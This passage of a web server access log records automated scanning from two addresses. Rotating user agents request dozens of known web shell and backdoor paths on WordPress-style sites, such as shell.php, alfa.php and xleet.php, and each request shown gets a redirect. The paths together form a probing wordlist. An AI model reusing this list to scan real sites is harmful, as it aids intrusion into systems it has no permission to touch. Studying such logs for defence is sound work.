"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:14 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-admin/meta/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:14 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:14 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-content/plugins/ttxecy/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:14 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:14 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:14 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /wp-Includes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /include/bussubmit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:15 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:15 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:16 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /wp-includespreviews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:16 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:16 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:16 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:16 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:16 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:17 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:18 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:18 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET 